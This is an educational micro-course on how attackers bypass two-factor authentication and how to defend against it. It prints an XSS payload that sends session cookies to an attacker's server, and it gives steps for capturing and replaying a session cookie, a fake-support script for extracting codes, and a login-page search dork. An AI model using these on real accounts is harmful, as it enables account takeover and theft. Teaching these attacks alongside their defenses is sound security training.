How Hackers Bypass 2FA — Real-World Attacks and Defenses
Overview
Goal:
Help beginners understand how Two-Factor Authentication (2FA) works, explore real-world
techniques attackers use to bypass 2FA, and learn practical steps to defend against these
attacks.
Skill Level:
Designed for complete beginners (no prior hacking experience required).
Outcome:
Students will learn how 2FA functions, dissect common bypass techniques, run legal simulation
exercises, and review defenses that protect users and systems.
Estimated Time to Complete:
2–3 hours
Tools/Resources Needed:
● A modern web browser (Chrome, Firefox, etc.)
● Access to simulated websites with 2FA (using platforms like TryHackMe)
● (Optional) Burp Suite Community Edition for intercepting HTTP requests
● A text editor (for code snippets)
🚨 DISCLAIMER 🚨
This guide is for educational purposes only. CyberSecurityTutor is not
responsible for any misuse of this information. Any malicious use of these
techniques is strictly prohibited and illegal.
Module 1: What Is 2FA and Why It Exists
Key Concepts:
● Definition: Two-Factor Authentication (2FA) adds an extra layer to login security.
Beyond the traditional password, a second verification step is required.
● Common 2FA Methods:
○ SMS-based codes
○ TOTP (Time-Based One-Time Password, e.g., Google Authenticator)
○ Email-based codes
○ Push notifications from authentication apps
Why Use 2FA:
Passwords can be stolen or guessed. 2FA helps reduce unauthorized access by requiring a
second verification.
Real-World Examples:
Services like Gmail, Facebook, Instagram, and many banks implement 2FA to secure user
accounts.
Learn more:
Google’s 2FA Overview
Microsoft 2FA Docs
Module 2: Anatomy of a 2FA Flow
How 2FA Works:
1. Login Attempt:
User enters username and password.
2. Initial Verification:
The system validates the password.
3. 2FA Prompt:
Upon correct password entry, the user is asked for a 2FA code.
4. 2FA Verification:
The system validates the provided code before granting access.
Understanding TOTP (Time-Based One-Time Passwords):
● TOTP relies on a shared secret key and the current time to generate a one-time code.
● The server and your TOTP app (e.g., Google Authenticator) generate the same code for
a limited time (usually around 30 seconds).
Code Snippet (Python - TOTP Generation):
Use pyotp for time-based OTP generation - pyotp docs
Module 3: How Hackers Bypass 2FA (Ethically)
1. Phishing with Reverse Proxies (e.g., Evilginx2):
Concept:
Attackers set up a fake login page that proxies the real site. When a user logs in, both
credentials and session cookies are captured, allowing attackers to bypass the 2FA challenge.
Step-by-Step:
● A reverse proxy tool (such as Evilginx2) is configured to mimic a real site.
● The victim unknowingly logs in, and the tool captures the session cookie.
● The attacker uses the session cookie to access the account without needing the 2FA
code.
Tool to explore: Evilginx2 GitHub - link
Defense:
● Educate users to verify URLs carefully.
● Use hardware-based 2FA (such as FIDO/U2F) that is resistant to phishing attacks.
2. Session Hijacking (via XSS and Insecure Session Handling):
Concept:
Attackers hijack a valid session token (usually a cookie) to impersonate a user. One of the most
dangerous methods is Cross-Site Scripting (XSS) — where malicious JavaScript is injected into
a site to steal session cookies.
How It Works (XSS Pathway):
1. Injection Point:
The attacker finds an input field (like a comment box or search bar) that fails to sanitize
input.
Payload Execution:
Malicious JavaScript is injected:
<script>
fetch("[Link] + [Link]);
</script>
This script silently sends the victim’s session cookie to the attacker's server.
2. Hijack:
The attacker imports the cookie into their browser and accesses the victim’s account —
bypassing 2FA since the session is already authenticated.
Guided Practice with Burp Suite:
Objective:
Capture and replay a session cookie using Burp Suite in a legal lab environment.
Steps:
1. Open Burp Suite → Proxy → Intercept → Turn Intercept ON.
2. Login to the test site and observe the request. Look for the Cookie: header.
3. Copy the value of sessionid or similar.
4. In a different browser/profile, open Dev Tools → Application → Cookies → Paste the
session key. Refresh to impersonate the victim.
What You Just Did:
By injecting or capturing a session token, you bypassed authentication — even if 2FA was
initially used.
Defense:
● Use HTTP-only flag on cookies.
● Sanitize all user input to eliminate XSS.
● Rotate session tokens after login.
● Monitor concurrent logins from different IPs.
3. Exploiting 2FA Reset Processes:
Concept:
Attackers take advantage of insecure account recovery methods to reset or disable 2FA,
thereby bypassing additional verification steps.
Typical Process:
● Navigate to the "forgot password" option.
● If the account recovery process is weak (e.g., easily guessed security questions), the
attacker resets the password and disables 2FA.
Defense:
● Secure account recovery protocols.
● Require re-verification of 2FA after any changes to account settings.
● Monitor multiple reset attempts.
4. Social Engineering:
Concept:
Attackers manipulate users into voluntarily giving up their 2FA codes, often by impersonating
technical support or using urgency tactics.
Example:
● “I’m from support, and we detected suspicious activity. Please send us the code you just
received to verify your account.”
Defense:
● Remind users: Never share your 2FA codes.
● Websites should clearly state that they will never ask for your 2FA code.
● Training and awareness campaigns to counter social engineering tactics.
Module 4: Practical Task — Simulating a Weak 2FA Flow
Objective:
Experience a controlled, legal simulation where you can observe how a poorly implemented 2FA
system can be bypassed.
Steps:
1. Register for a free TryHackMe account.
2. Start the “2FA Bypass” room.
3. Use Burp Suite to intercept the 2FA request.
4. Identify weak points in the 2FA logic.
TryHackMe Room - search “2FA Bypass” in [Link]
Module 5: Defense Mindset — How to Build Strong 2FA Systems
Best Practices for Robust 2FA:
● Use security keys (e.g., YubiKey, FIDO2) that are resistant to phishing.
● Implement monitoring systems for login and reset actions.
● Secure account recovery methods.
● Educate users on 2FA security.
Reference: OWASP Authentication Cheat Sheet
Recap + Next Steps
What You Learned:
● Importance of 2FA.
● Bypass methods.
● Simulation with tools.
● Defensive techniques.
Next Steps:
● Try more auth-focused labs on TryHackMe.
● Review real-world 2FA attack case studies.
● Learn essential Linux commands for your toolkit — linux cheat sheet
Bonus Resource Pack
● Google Dorks for Finding Login Pages and 2FA Interfaces:
inurl:"/login" "2fa"
● Session Cookie and Auth Token Capture Demo (YouTube):
Watch here
● Evilginx2 GitHub Repository:
Evilginx2 on GitHub
● List of Notorious 2FA Bypass CVEs:
NVD 2FA Bypass Search
● Social Engineering Playbook PDF:
Download PDF
● TryHackMe Labs — Authentication Focused:
Browse Auth Labs
● Cybersecurity News Tracker — CVEs and Exploits:
CVE Feed
Completion Badge
Congratulations on completing this micro-course!
You've taken your first real step into the world of cybersecurity by understanding and simulating
real-world 2FA bypass methods — and more importantly, how to defend against them.
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